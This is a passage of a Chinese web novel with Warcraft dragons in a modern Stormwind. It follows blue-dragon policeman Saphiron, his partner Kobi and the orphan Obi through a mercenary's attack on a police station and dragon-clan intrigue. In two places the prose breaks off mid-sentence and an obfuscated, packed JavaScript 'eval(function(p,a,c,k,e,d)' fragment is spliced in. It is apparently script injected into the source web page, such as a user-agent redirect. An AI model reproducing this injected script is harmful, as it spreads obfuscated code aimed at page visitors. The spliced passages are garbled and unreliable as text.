他话还没说完,那只瓶子就被奥比毫不留情地用力摔到地上,瓶子叮叮咚咚地弹跳着,盖子被震开,一粒粒橘色的小药片撒得到处都是。 “你杀了我爸爸,现在还想用药来毒死我吧?!“奥比冲着光头巨人大叫,同时狠狠地用脚踩着那只药瓶和散落在地上的药片——他已经完全豁出去了,全然不顾自己的举动很可能会激怒这条光用龙威就能杀掉他的成年红龙。 安多洛夫叹了口气,再次把那愤怒的小孩抓到怀里: “那是卡卡专门给你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我们还从没像样的交过手,凭什么说我打不过你?”她丢了刀柄,手里腾起一团火光,“看来不打倒你我是带不走这小鬼了。” “听我把话说完,如果你还想跟我打,我就奉陪到底——喂,小鬼,别咬了,你的嘴不疼吗?万一把牙崩掉了怎么办?我是能帮你长新牙,可那样很疼的。” 小奥比怒火万丈地发出呜呜声,誓要将这不共戴天的杀父仇人咬死。 安多洛夫没办法,只得重新望向奥妮克希亚: “我长话短说,你自己斟酌——就算你们用小奥比要挟,亚雷苟斯也不会让步,他不会跟你们谈的。” “为什么?他不想当蓝龙的首席执政官了?那可是地位和权力仅次蓝龙王的第一要职,现在玛里苟斯不管事,首席执政官实际上就等于是蓝龙的老大——他不靠这个来独揽魔法执掌权,进而直接把充满奥术能量的虚空风暴地区纳入自己的辖区,灵风凭什么跟黑石斗?”奥妮克希亚不以为然。 “他当然想当首席执政官。”安多洛夫说,“他经过精心策划,处心积虑地让绿龙伊森德雷和卡雷苟斯接触,就是为了除掉唯一的竞争者。” 小奥比松开嘴,不敢置信地仰头瞪着那光头巨人。 “你说什么?你在说什么?!……你在骗人,对不对?!” 安多洛夫垂头望着那个孩子,叹了口气。 “小鬼,你爸爸虽然是我杀的,可幕后真正的主使……” “是谁?你说呀!说出那个人的名字来!” “是你的叔叔——亚雷苟斯·麦洛尼,灵风能源集团的大老板。” 听了红龙的话,小奥比没有哭,也没有叫,更没有指责安多洛夫是为了脱罪才编造谎言诬陷他的叔叔,小孩只是定定地站在原地,轻轻地点了点头: “我明白了,这一切都是个梦——是我的噩梦。” 接着他闭上眼,瘦小的身躯失去支撑朝一旁倾斜,安多洛夫眼明手快接住了他。 “求求你,不管你是谁,带我离开这个梦……我好累。” 说完那孩子便失去知觉,在红龙中将的怀里晕死过去。 “早知是这样,我不会对卡雷苟斯下杀手的。”安多洛夫摇了摇头。 “那样的话死的人就是你。”奥妮克希亚撇了撇嘴,“亚雷苟斯为了坐稳蓝龙首席执政官的位子,设局陷害他的哥哥卡雷苟斯,而你的出现虽然在他的预料之外,却替他的弑兄大计画上完美句点,加上之后的暴风城大地震,他恐怕远不止是喜出望外……只不过——” 她盯着安多洛夫。 “就算他清除了竞争者,也不代表他就能如愿以偿——蓝龙人丁稀薄,要成为首席执政官,就必须有子嗣——收养的不算,必须得是有血缘关系的继承人,他老婆的上一批龙蛋没有一只能成功孵化,十年内是别想再生育了,所以得知小奥比还活着后,他就像捞到救命稻草一般,说什么也要把这小鬼收为继子——尽管也是收养,但他们毕竟是叔侄,所以能够满足条件。” “你们普瑞斯托家的谍报人员很勤快啊。”安多洛夫哼了一声。 “我就当你是在恭维了。”奥妮克希亚耸了耸肩,“好吧,有什么事是我不知道的?” “虽然很勤快,但消息却很不灵通。”安多洛夫说,“看来你是不知道,亚雷苟斯已经说服龙族议会,即将通过内部决议,许可他在‘暂时’没有子嗣或是有血缘关系的继承人的情况下,‘临危受命’成为新一任的蓝龙首席执政官的消息吧?” 这下奥妮克希亚可真是大吃一惊了。 “你在开玩笑吗?龙族议会里的那群老古董,居然会给他开这个特例?” “卡雷苟斯一死,蓝龙一族能指望的上的人就只有他了,总不能因为他没有子嗣就让蓝龙执政官空缺吧?蓝龙本来跟黑龙关系就不好,现在跟红龙绿龙也闹得这么僵,要是龙族议会里再连个有话语权的重量级人物都没有,麦洛尼家族能撑多久?当然了——他暗中也给了议会的人不少好处。” 安多洛夫看了怀里的小孩一眼。 “奥妮,你们的情报已经过期了,这个小鬼对亚雷苟斯来说已经没有利用价值,他不会再留着小奥比好让普瑞斯托家来跟他谈条件——你当真以为刚才那些人是冲着你来的?” “……” 伶牙俐齿的奥妮克希亚难得会接不上话。 她本以为普瑞斯托家的黑龙已经够狠了,没想到温文尔雅热衷慈善的蓝龙大富豪竟有过之而无不及。黑龙是桀骜不驯,是乖张暴戾,可那都是成年雄性之间的事,从不会扯上女人和小孩。 “情报部的那帮家伙我会回头料理。”她盯着安多洛夫——确切地说,是盯着他怀里不省人事的小孩,“虽然这张牌对亚雷苟斯已经失效了,但假如你没说谎——” 见安多洛夫竖起眉毛,她又道:“是是是,我知道你是个诚实的军人——但事情真像你说的那样,那么这个小鬼可以对他造成层次更深的威胁,没错,已经不再是普瑞斯托的王牌,而是超级王牌。” “你这是什么意思?” “哦安多,别装傻了——如果说之前黑龙获得的情报不足以在龙族议会上作为合法证据成立,那么现在他企图杀人灭口的举动已经彻底露馅了,只要这小鬼在我们手里,把亚雷苟斯送上泰坦尼亚最高法庭只是时间和程序问题,任凭他出动多豪华的律师团也无济于事,这个大丑闻被捅出去,首先在蓝龙内部他就会众叛亲离,看起来……” 她微微一笑:“灵风花了若干世纪建立的能源帝国,只怕是要分崩离析了。” “你错了。”安多洛夫摇了摇头。 “何以见得?”她反问。 “这孩子……恐怕撑不到站上证人席。”安多洛夫瞪着奥妮克希亚,“那个蓝龙警察是唯一能让这小鬼活下去的关键人物,你怎能把奥比从他身边带走?我的红龙之力治标不治本,如果萨菲隆和奥比在四十八小时内不再次发生接触的话,这小鬼必然会死。” “黑石塔的实验室可以模拟蓝龙之力。” “那没有用的。”安多洛夫说,“你们那个实验室里的底细,我还不清楚?” “不试试怎么知道?” “这种冒险有什么意义?一旦奥比死了,亚雷苟斯干干净净地成了蓝龙首席执政官,手中握有最高豁免权,普瑞斯托家族再也没可能扳倒他,奥妮,你知道我说的是事实。” 见她垂头沉思,安多洛夫又道: “小鬼的蓝龙之力已经崩溃过一次了,奥术污染再次扩散的话,速度会比上次快上千倍,除了血亲谁也救不了!——” 他猛然收声,但奥妮克希亚已经警觉地抬头盯着他: “血亲?麦洛尼家的人不可能救这小鬼,萨菲隆也不是他的亲人。” 安多洛夫抱着小奥比,转身离去。 “奥比的身体是用他的血重塑的,他们当然是血亲。” “站住!”奥妮克希亚厉声喝道。 红龙停下脚步。 “你不是在换血的时候重写了DNA信息吗?” 安多洛夫不置可否。 “你没有重写,是吗?”奥妮克希亚追问,“安多,你在干什么?你想干什么?你在这件事里到底扮演的是什么角色?” “事情不是你想的那样。” “那是怎样?我命令你立即说明缘由。” 你不说,我来说好了。 “卡卡,别这样!”安多洛夫大惊,但还是迟了。 “公主殿下,好久不见,果然越来越娇美了。” “少说废话。” “真是严厉啊……唉,其实也没什么大不了的,搞不懂安多干嘛那么谨慎,在美艳的公主面前还支支吾吾,真是过分。”卡卡轻描淡写地说,“我确实没有重写DNA信息,因为根本没这个必要。” “你说什么?……” “因为他们的DNA本来就是彼此吻合的。” “……” “只有近亲才能有这样的匹配度。”卡卡笑道,“谁想得到呢?一条名不见经传,远离泰坦尼亚在人类世界隐居的蓝龙,居然拥有纯正的麦洛尼家族血脉。” 萨菲隆是小奥比的亲叔叔。 也就是说,他实际上是卡雷苟斯和亚雷苟斯的大哥。 …… 老埃雷捂着心口,强忍着胸腔的剧痛。 “埃雷先生……”三位随从忧心忡忡地望着他。 老人喘息着,厉声叮嘱道:“黑龙公主和红龙中将的交谈内容,你们一个字也不准泄露出去,明白吗?!否则麦洛尼家的名誉就完了!” “可如果只是谣传又何必怕他们——” “听我的!”老埃雷气得一个劲地用拐棍敲着地面,拐棍顶端忽然闪出一个耀眼的蓝色光球,三条年轻的蓝龙被那迷离的幻光照射后,变得一脸茫然。 “这是记忆擦除术,数秒钟后你们会忘记今天发生的任何事——别埋怨我年轻人,我这是在救你们的命!”老埃雷挨个观察三个随从,之后打了个响指。 “先生?”三人你看看我,我看看你,又看看四周,一脸不解。 “你们在干什么?还不快帮我联系亚雷老爷。”老埃雷垂着眼,不去看他们。 电话很快就接通了。 “老爷,是我。”老埃雷转过身去。 年轻的蓝龙们依然困惑,但并非他们中的每一个都是如此。 代号“夜之魇”的阿坎纳苟斯看似迷惘的蓝瞳中,一抹异样的光转瞬即逝。 10. 第 10 章 当萨菲隆赶到第七分局时,那里已经变成战场。 警局大楼面目全非,浓烟滚滚,鲜红的火苗舔着焦黑的门窗,路边好几辆警车四轮朝天,地上还有数摊干涸的血迹。附近五个街区被封锁,暴风城警署还从第十九、第二十四分局调派警力,连装甲车都出动了。第七分局的辖区内向来治安状况良好,别说重案,就连小偷小摸都很少见,不料竟突然发生这种事,市民和闻讯而来的新闻媒体被阻拦,只能远远驻足观望,人们忧心忡忡,众说纷纭。 “头儿,到底怎么回事?”萨菲隆问。 “科比在里面!那家伙抓住了科比!老天他这回死定了!”警察局长气急败坏地大吼,“那到底是个鬼东西?这回你别再自作主张,听我的指挥——妈的你听到没有?!” 萨菲隆置若罔闻,穿过防暴盾牌堆叠起来的防御线,只身朝警局大楼走去,气得警察局长嘴都歪了,用力地把对讲机朝警车里一摔,扯下自己身上的防弹背心,用力朝萨菲隆头上扔去。 萨菲隆接住避弹衣,朝身后一排排的警车和防暴盾牌看了一眼。 那是一双双告诫他别去送死的眼。 他有一种预感。 在暴风城当警察的日子,大概就要结束了。 萨菲隆朝他的同事们竖起大拇指。 接着他头也不回地冲进警局大楼。 大厅里火光熊熊,凌乱的开放式办公室里到处是被砸毁的电脑显示器和东倒西歪的文件柜,天花板上露出的线缆噼噼啪啪地打着火花,地上满是子弹壳和玻璃渣,碎掉的马克杯里的咖啡和血迹混在一起,萨菲隆一眼扫去,至少看到四名殉职的警员,尸体残缺不全,惨不忍睹。 他甚至不需要去猜测对方的位置,空气中弥漫着浓烈呛人的雄性龙的气味,直接将他带到了局长办公室门口。 萨菲隆看到了科比——他瘫坐在地,右臂被一个身材高大的男人拎着,耷拉着脑袋,鲜血顺着鬓角流淌,他的腿上也有伤,但微微起伏的胸膛显示他还活着。那个男人脸和胳膊上涂着油彩,黑背心上至少有七八个弹孔,有些血迹,但显然只是些无关紧要的皮肉伤,男人手里提着一把重型冲锋枪,腰间别着手雷,一副雇佣兵的打扮。 “放开他,你要找的人是我。”萨菲隆说着,眼中腾起蓝光。 感应到萨菲隆的蓝龙之力,男人喉咙里滚起浑浊的低吼,金瞳好像喷射熔岩的火山,他的皮肤隐约泛起暗红色,就像一座重新开工的锻炉,他的手与科比的胳膊接触的地方发出咝咝的声音,不一会竟冒起了烟,萨菲隆闻到了一股焦臭——黑龙之力发动,那雇佣兵的体温急剧升高,对于科比来说,他的手简直就是烙铁! 焦灼的痛楚刺激着科比的神经,他勉力抬头,发现自己的胳膊几乎快被烤焦,剧痛之下,科比豁了出去,发了狂似的抽出靴子里的匕首,用尽全力捅向那男人的左胸。 他得手了,匕首插进男人的胸膛,几乎连刀柄都塞了进去。 不料对方竟然连眼都没眨,歪头盯着科比,紧接着在他面前出现了一片圆形的淡金色光膜,科比听到了一种由低至高频率骤增的细微共鸣,随后他感到自己身边的一切都迅速热了起来,空气因为骤然而至的高温出现烟雾状扭曲—— 下一刻,男人面前的一切都在高温下瞬间汽化,局长办公室化为一片火海,冲击波碾过警局大厅,在墙上开了一个直径十余米的大洞,停在大楼外的一排警车被轰得接二连三地飞起,轮胎熔化,车身变成铁水,看得外头的警察目瞪口呆。 科比用力撑起眼皮:“我死了吗?我死了吗?这里是地狱吗?……” “不,你没死。”头顶传来一个浑厚的声音。 他迷迷糊糊地抬头张望,他正像个小男孩似的被一个魁梧的巨人横抱着,“萨……老萨?……”一口气没接上来,科比开始剧烈咳嗽,鼻孔嘴角溅起星星点点的血丝。 “那到底是什么玩意儿?” “那是龙息。” “龙息?……” “那家伙是条龙——你看到的是他的人类形态。” “哈?……” “刚才我用了瞬间移动术,否则你会被他的龙息烧成灰。” “哈?……” “你的身体现在很虚弱,经不起奥术冲击,不然我会把你直接传送到外头。” “说通用语,老萨。” “我说的就是通用语!”萨菲隆抱着科比飞快转身,“小心!!——” 哒哒哒哒哒哒!—— 子弹透过烟雾,直射向萨菲隆的背。 “你中弹了!你……你这个笨蛋!”科比大叫,“你把避弹衣给我干什么!“ “我没事,我没中弹。”萨菲隆说。 “他朝你开火,我看见了!你——” 科比话还没说完,他已经被萨菲隆放到地上。 “穿上,我不需要这东西。” 紧接着一个庞大的黑影咆哮着扑向萨菲隆,暗红色的巨掌像火钳一般卡住他的脖子,一声巨响,两人撞垮了一堵墙,冲进了隔壁办公室。 科比眼睁睁地看着萨菲隆和那个男人大打出手,那简直不是属于人类的打斗。 他从没见过只需要“看一眼”就能把屋子整整齐齐地“切”成两半的人,他第一次知道这个世界上有人嘴里被塞进一枚手雷引爆后还能若无其事——那两个家伙一个用火一个用冰,一个只需要用瞪的就能让脚边大大小小的东西飞起变成杀人利器,另一个会突然消失然后凭空出现,甚至有时能变成两个。 不知过了多久,突然没了动静。 科比爬起来,吐掉嘴里的灰,拖着受伤的腿,一点一点地朝前方有光亮的地方走去,至于那里是不是警局大楼的出口,他已无暇顾及。 这栋楼里的一切几乎都被毁掉了,科比抬起头,站在一楼的大厅里却能看到从楼顶透下的阳光,警局大楼非但被开了天井,连内部也被严重破坏,基本上就剩了个外壳——这栋建筑居然还没有倒塌,可真是奇迹。 是啊,承重墙全塌了,为什么大楼还没有垮掉呢?…… 科比突然意识到这个问题的严重性——他正待在一栋早就该坍塌的大楼里! 他开始拼命地跑了起来,腿上的伤很疼,胳膊上的烙伤更疼,他甚至还能隐约闻到一股焦糊味,他觉得自己活像一条在烤架上垂死挣扎的鱼。 然后他见到了那两个超人。 一个站着,浑身寒气四溢,蓝白色的霜冻光芒在他的身体四周流动,另一个则躺在地上,看起来伤得很重,虽然还是恶狠狠地盯着对方,但已没法再爬起来接着打了,男人眼中的金光忽明忽暗,似乎随时都有可能熄灭。 “老萨?……”科比呆呆地唤了一声。 “冰人”缓缓回头,面无表情地望着他。 “科比,我……”“冰人”欲言又止。 “你,你也是……”科比小心翼翼地问,“一条龙吧?” “……对不起。”萨菲隆说,“科比,我回头会向你解释这一切,现在你必须马上离开!” 见他的同事还愣在原地,萨菲隆问:“你怎么啦?” 他这一问,科比突然哭了起来。 “我……我不会把你的秘密说出去的,求求你……老萨,我们搭档八年了,你别吃掉我好不好?……我女儿今年才六岁……她还是你看着长大的……呜呜呜……” “……”萨菲隆把自己脑门上蹦起的青筋按下去,耐着性子说,“这栋大楼已经完了,现在是靠我的反重力魔法顶着才没有崩塌——它已经处于悬浮状态,我不可能一直撑着它,科比,你必须立即——” 咔—— 躺在地上的黑龙突然一把攥住萨菲隆的脚踝,整个人从地上跳起,从身后死死锁住了他,萨菲隆立即听到自己全身的骨头都被压得咔咔作响,用力挣了两下,竟脱不了身。 “放开他!!”科比大吃一惊,条件反射似的举起枪,上前顶着那个雇佣兵的脑门,扣动扳机一阵猛扫。 “科比,走!快离开!!”萨菲隆咆哮着。 噌!—— 黑龙眼中金光一闪,顺劈斩发动,科比手中的□□应声被削成两截,黑龙失了准头,不然科比绝对会被当场剖成两半。 黑龙几乎成了一个血人,本已黯然的眼窝里突然爆起前所未有的夺目金芒,疯狂令他的面孔扭曲,他根本不在乎自己被萨菲隆打败,也不在乎自己伤得有多重,事实上从他接到命令闯进暴风城第七分局的那一刻起,他就从未想过自己还能活着走出来。 萨菲隆听到他嘶哑的声音在自己耳边说: “和亚雷苟斯大人……作对……就得死。” 紧接着他感到背后的黑龙之力暴涨,竟比刚才两人交手时强了数十倍—— “哈哈哈哈哈……”黑龙狂笑起来。 这家伙要自爆!! 两人缓缓升起,暴走的黑龙之力掀起夺目金光,击穿大楼顶部刺向天空。 绝对不能让这家伙自爆!否则一个月前暴风城大地震的惨剧会再次上演!……但这次没有青铜龙的预言,也没有红龙光环,这里是暴风城市区,成千上万的人会死! 回来,立即回来! 情急之下萨菲隆不得不先把奥妮克希亚和小奥比的事搁到一边,召回了自己之前派出的分身,接着立即激发全部的蓝龙之力,展开奥术位面结界。 萨菲隆将整栋警局大楼纳入自己的控制范围,以求将即将到来的地震冲击波转移至平行空间,但事发突然,他来不及构建复杂的相位转换,同时他仍低估了黑龙濒死一击的威力,剧烈的能量波动转眼间就把他的奥术位面结界撕裂,在外头的警察和民众眼中,倾斜的警局大楼上泛起层层“波纹”,将惨白的阳光折射出诡异的反色彩虹,和直入苍穹的金光交互辉映。 人群中惊呼迭起,大家纷纷举起手机相机咔嚓咔嚓地拍个不停,新闻媒体的摄影师更是不甘错过如此奇景。 “妈妈,天上的彩虹和平时的不一样。” “是啊。” “……这里是暴风城新闻网的现场报道,遭到不明身份的恐怖分子袭击的暴风城第七分局现场出现了不可思议的景象——摄影师?拍那里!快拍那里……谢谢——是的,各位观众,就像电视画面上显示的那样,警局大楼腰部出现了奇异的彩虹……噢这是怎么回事?彩虹消失了?金色的光芒也不见了?噢这真是太令人匪夷所思了,警局大楼的外表好像褪去了一层不明物质——哦老天!大楼在倾斜!……大楼要塌了!!” 宛若空中楼阁的警局大楼突然失去“支撑”,轰然倾塌,警方火速撤离,个个灰头土脸,狼狈不堪,伤亡惨重,损失难以估量,而对方居然只是一个人,这下脸实在是丢大了。 警察局长提着扩音器,呆呆地站在烟尘尚未散尽的废墟前。 “长官,长官……”有人在喊他,“长官!” “唔。” “您……您还好吧?” “那家伙死了吗?” “还没有确认,工程组和消防队刚刚开始清理废墟。” “有人看到萨菲隆和科比吗?” “没有,长官,没人看到他们,我很抱歉,他们大概已经……” “我该拦着他的。” “长官……” “长官,两小时后局里要举行新闻发布会,请您……尽快准备一下。” “嗯。” “长官!长官!!” “又怎么了?!” “呃……长官,我想您必须看看这个。” “这是什么?” “长官,在这附近的一栋老居民楼里刚刚发生一起不明爆炸事件——” “好吧!好吧!这个世界到处都是疯子,今天是怎么了?大家商量好了一起搞联欢吗?!没看到我现在正焦头烂额吗?带上几个没死的人过去看看,现在别拿这种事情来烦我!“ “可是长官!根据一位目击者提供的消息,爆炸的地点,是那栋居民楼三层的——” “那又怎样?那里头住了什么了不得的大人物?你们是不是发现某个大官跟他情妇被炸熟的裸尸了?” “不,长官,但如果目击者的话属实,同时我们的资料没错的话——” “说重点!” “……那里应该是萨菲隆·弗洛斯特警官的住所。” “……” …… 平静的冰湖上空突然出现了一个耀眼的金色光球,云层在高温下蒸腾,形成蔚为壮观的雾环,光球缓缓下坠,前所未有的强大龙威扩展开来,吓得动物们四处逃窜。 接着,在一片静寂无声中,光球触及湖面。 白光转瞬间吞噬天地,地动山摇。 冰湖在一瞬间被蒸干,整个湖床被连根拔起,冲击波引发强烈地震,数百公里外的冰峰坍塌,形成大规模雪崩,成片成片的森林被掩埋,数秒钟前还宁静安详的冰雪世界霎那间成了地狱。 地震中央地区,一对遮天盖地的蓝色龙翼展开,随即一个半透明的蓝色球状结界将整个区域纳入控制范围,被推至顶点的蓝龙之力下,巨大的六芒星阵徐徐转动,试图将失控的黑龙之力引发的能量冲击物质化。 蓝龙竭尽全力,但仍然无法完全控制局面,奥术结界的边缘终究还是出现局面崩溃现象,处于遏制下的黑龙之力找到了突破口。 暴风城警署第七分局辖区内,伯瓦尔大街西侧的某栋居民楼中。 空无一人的公寓里,到处是散乱的杂物,比格沃斯百无聊赖地伏在一块毛毯上,懒洋洋地晒着太阳。 突然猫警觉地竖起耳朵,紧接着地板开始剧烈震动起来。 咣的一声巨响,卧室里的衣柜被炸成碎片,衣柜靠着的那堵墙上出现了一个深不见底的黑洞,无形巨力从黑洞中咆哮而出,把整栋楼房击穿。 比格沃斯从一堆瓦砾中跳起,抖掉身上的灰土,飞快地窜出门,踩着支离破碎的楼梯朝外跑去,可它没跑几步就放缓脚步停了下来,并非它无意脱险,而是它发现自己迈不动步子了——它发现自己正被什么东西往回拖,它伸出猫爪扣住地面,但那只看不见的手力量越来越强,它开始一点一点地后退。 比格沃斯不知道的是,萨菲隆的衣柜被炸上了天,墙上的黑洞释放完最初的冲击波后,竟开始产生吸力,起初只能吸引纸张、报纸、塑料杯等细小物件,但随后吸引力急剧增强,客厅里的电视机和沙发都没能幸免。比格沃斯拼命扒住门框,强大的吸引力令它后脚离地,它觉得自己身上的毛都要被扯掉了,终于还是喵呜一声被吸了进去,在被吸进去前,它死死抓住空中的电冰箱,不管它会被弄到哪里去,起码电冰箱里有很多鱼。 能量冲击导致空间扭曲,萨菲隆的衣柜成了一个名副其实的小黑洞,建筑物承受不住吸引力,开始出现结构坍塌,碎裂的砖块和被扭断的钢筋无一幸免,最终整栋楼房都被碾碎后吞噬,空间裂缝的能量开始波及周遭,惊慌失措的居民四散奔逃。 然而就在人人都以为世界末日来临时,“黑洞”却突然消失了,轰鸣戛然而止,四周风平浪静,仿佛什么也不曾发生过。 远处的街区响起警笛声,对于第七分局来说,没有比今天更糟糕的日子了。 …… “埃雷先生,在暴风城探测到剧烈奥术能量反应。” 老人转身,望着地平线上高楼林立的城市。 “我们去暴风城。” “可是埃雷先生,亚雷苟斯大人希望您返回泰坦尼亚——” “我知道。”老埃雷点了点头,“但在那之前,我还有一些事要处理——阿坎纳苟斯,立即打开传送门。” “是的,埃雷先生,我这就跟——” “不,不必惊扰亚雷老爷。” “先生?” “普瑞斯托小姐和奥比小少爷的事已经让他够烦心的了,我很快就会回去。”老埃雷低声说着,再次凝视远处的暴风城。 …… 科比睁开眼,发现自己似乎正身处黑漆漆的岩洞中,而他全身都被雪掩埋,冷得他猛打寒战,他记得失去知觉前自己还在千疮百孔的警局大楼里……该死!到底发生了什么事?现在是盛夏,暴风城怎么可能会下雪?莫非……对了,那个打不死的家伙,变成了一个光球,简直就像……老天!这座城市该不会是遭到核攻击了吧?! “老萨!——老萨!这里有人吗?还有人活着吗?……有人能听到吗?” 没人应答,他的声音在空空如也的岩洞里回荡。 突然他感到压在自己胸口上的雪堆里有什么东西在动。 科比的脸唰的一下变得惨白,也许这不是核弹,而是不为人知的生化武器,整个城市都被感染,他大概已经成了异形的宿主,而此时此刻那个怪物正要从他的胸脯里跳出来! 雪被顶开,一个毛茸茸的东西探了出来,科比吓得紧闭双眼。 喵呜—— 他睁开眼,却见一只蓝眼睛黑尾巴的小白猫正盯着他瞧。 “噢!……噢噢,是你呀!小家伙,你差点把我吓死!”他松了一口大气,用力把手从雪堆里拔出来,想去摸摸那团小毛球,不料猫闪身躲开,又看了他一眼,径直朝洞外跑去。 科比用手拨开压在自己身上的雪,好不容易才从雪堆里站起身来,拖着那条几近麻木的腿,摇摇晃晃地走到洞外。 天空一团漆黑,暗紫色的闪电此起彼伏,厚厚的云层中闷雷翻滚,放眼望去到处都是一片惨白,这座一望无际的雪原寸草不生,完全是个不折不扣的生命禁区。 他的城市不会变成这样,这里不是暴风城,他也许是被传送到了世界的尽头。 这世界上还有比他更不幸的警察吗?想想老婆,想想孩子,想想还有三十六年才能还请的房屋贷款,想想自己此时此刻的处境,科比鼻子一酸,潸然泪下。 喵呜——喵呜—— 科比朝身边瞥了一眼,却见那只猫在岩洞的壁上不停地刨着,一边忙碌还一边冲着他喵喵叫,像是要他帮忙,科比走过去,弯腰把猫抱起,却忽然觉得这只猫有点眼熟—— 咦?这……这不是老萨家里的猫老板吗? 科比抱着猫环视四周,却突然吓得呆住了—— 他的身后,矗立着一个庞然大物。 那个东西的脑袋足有好几层楼房那么高,上面长着大大小小的角……科比揉揉眼睛,又捏捏自己的腿,确定自己看到的并非幻觉,他扒开岩洞壁上的积雪,却奇迹般地露出了一块块脸盘大小的鳞片,像蓝宝石一般闪闪发亮。 这不是“岩洞”,而是……而是那个庞然大物蜷起的爪子。 这东西是条龙……一条蓝色的龙。 “老萨?……”他小心翼翼地唤了声。 毫无动静,这条巨大的龙似乎失去了知觉——在那之前它用爪子护住了一人一猫。 科比的直觉告诉他,这条龙绝对就是他搭档的真面目,这个想法驱使他壮着胆子攀爬到龙头上,摸索了半天才在其中一只龙角下找到了一个隐蔽的小洞——所谓的“小”是相对而言,这个深不见底的洞对他来说就像个没井盖的下水道入口。 “老萨?……老萨?……醒醒!嗨!醒醒!”科比冲着那个洞叫着,激起层层叠叠的回声,也不知道声音传到了哪里,但依然没什么反应。 也许这不是龙的耳朵? 他又在龙头上找到了一处凹陷的、表面没有覆盖鳞片的地方,他试探着伸手摸了一下,那层闭合的角质硬皮动了动,他把双手塞进缝隙里,用力抬了起来。 他双臂高举过头,用身体撑着那层厚重的皮以免它再次闭合,出现在他面前的是一只足有一人多高的紫蓝色的球形晶体,科比怔怔地看着自己在这堵“水晶墙”里的影子,接着空出一只手,轻轻地用指尖在“墙”上戳了一下。 这下可闯了大祸,“咕嘟”一声,“水晶墙”转动起来,那层被他撑开的厚皮也突然开始活动,科比吓得后退一步,却突然发现这东西像只放大了无数倍的蓝色“鳄鱼眼”。 紧接着他听到一个低沉如雷的声音从脚底传来: 唔?…… 龙头动了起来,寂静被打破,他成功地弄醒了这条巨大的龙。 科比?…… “哇!——”科比脚下一滑,从龙头上滚落,慌乱中他死死抓住了个什么东西令身体停止下落,定睛一看,发现自己不知什么时候已经离开地面数十米——龙抬起了脑袋,而他正像猴子一样挂在龙下颌淡蓝色的胡须上荡来荡去。 科比……松手,别拽我的胡子。 “不行!”他大嚷道,“松手我就会摔死啦!” 我会接住你的。 巨龙抬起前爪,科比一眼就看到那寒光闪闪的锋利龙爪,吓得嗷嗷乱叫。 科比,相信我……我是你的搭档! “我才刚知道跟我搭档了那么多年的居然是条龙!你,你总得给我一点时间适应一下!我……我是个老男人,虽然喜欢看科幻电影,可是对新鲜事物的接受能力很差……老萨,你把我送回艾泽拉斯好不好?你的星球风光很独特,可是我还是觉得乌烟瘴气的人类城市比较适合我……” 听着科比的语无伦次,萨菲隆实在是哭笑不得。 我不是外星人,这里也不是外星球,只是一个虚构出来的平行空间罢了……科比,很久很久以前艾泽拉斯就有龙了,现在龙通常都待在泰坦尼亚,不在人类世界活动—— “泰坦尼亚?那地方真的存在吗?不仅仅只是传说?” 那地方确实存在,只是被结界保护起来了而已,艾泽拉斯的政府都知道众龙之城的存在,也一直维持着联系,只是民众不知道而已——现在,科比,放开我的胡子,我会接住你的。 科比还是嘟哝着不肯就范,萨菲隆没法子,只得低喝道: 再不放手,我就吃掉你! 科比立即乖乖松手,萨菲隆接住了他的同事,抖掉身上的积雪,展开龙翼,环顾四周——没有感应到丝毫黑龙之力,那条黑龙确实已经自爆而亡。 这条黑龙的力量很强,估计位阶不低,濒死前的最后一击威力实在惊人,无论他把这家伙传送到艾泽拉斯的任何地方都会引发灾难,同时引起凡人的注意,如果坚持调查,必然会将其与暴风城大地震联系在一起,萨菲隆不知道泰坦尼亚和艾泽拉斯的政府之间有怎样的协议,但若走漏消息,导致两者关系恶化,后果不堪设 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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萨菲隆耸了耸肩,抱起比格沃斯,打开了去暴风城的传送门,扬长而去,科比愣了半响,见那传送门似乎开始变小,终于咒骂了一句什么,心不甘情不愿地跟了进去。 一小时后,萨菲隆带着科比出现在了后者的家门口。 科比的妻子连鞋子都顾不得穿,飞奔着冲下楼开门,一看到科比就大松了口气,抱着他又哭又笑,然后不由分说掀起裙子,照着科比的肚子就是一膝盖,科比闷哼一声,弯下腰去。 “你这个死人,明明今天休假,还硬要去出什么任务,你还回来干什么,死在外头好啦!——等我领了你的抚恤金,就立即带着孩子改嫁,你给我看着,我说到做到!我真是受够了,你只是一个卑微的小警察,不是超能英雄!用不着你拯救世界!” 在自己太太面前科比只得耷拉着脑袋不吭声,偶尔嘴里嘟哝两句,当然也没逃过太太的顺风耳,又是一阵数落:“你到底跑到哪里去了?你知道你老板说你被坏人挟持我有多害怕吗!你这个没良心的家伙——这是怎么回事?为什么你身上湿漉漉的?” 科比终于忍不住叫了起来:“天呀,你这婆娘就不能对死里逃生的老公好一点吗?我的腿上还有伤呢!……在雪地里跌爬滚打当然身上都是水了,该死,我的腿好像没知觉了——” 科比太太一听急了,不由分说把他拽进屋,又冲着萨菲隆叫道: “老萨,你自己随意,我没空招呼你了,我得去给这个死人治伤——要不要我叫救护车?或者通知你们局里?你们是不是不方便去医院?……”说着又匆匆朝屋子里走去,开始翻箱倒柜。 “萨菲隆叔叔,你不是平时只有周末才有空来陪我玩的吗?”一个小女孩从门后探出头,好奇地望着那个铁塔似的大巨人。 喵呜—— “哇,好可爱的小猫咪!”小女孩眼睛一亮,踮起脚眼巴巴地问,“它叫什么名字?是男生还是女生?我可以摸它吗?” 萨菲隆蹲在她面前,把猫放到小女孩怀里,比格沃斯习惯性地蹭了蹭,很失望地发现这个胸部完全不能跟黑龙公主的相比,但在萨菲隆央求的目光下,它还是很给面子的加以配合,眯着眼任由小女孩摸着它脖子上的软毛。 “它叫比格沃斯,是个男生,嗯……听着,小公主,我得先暂时把它在这里寄放一段时间,能麻烦你帮我照顾它吗?” “当然可以!”小女孩猛点头。 “你不需要问问你爸爸吗?” 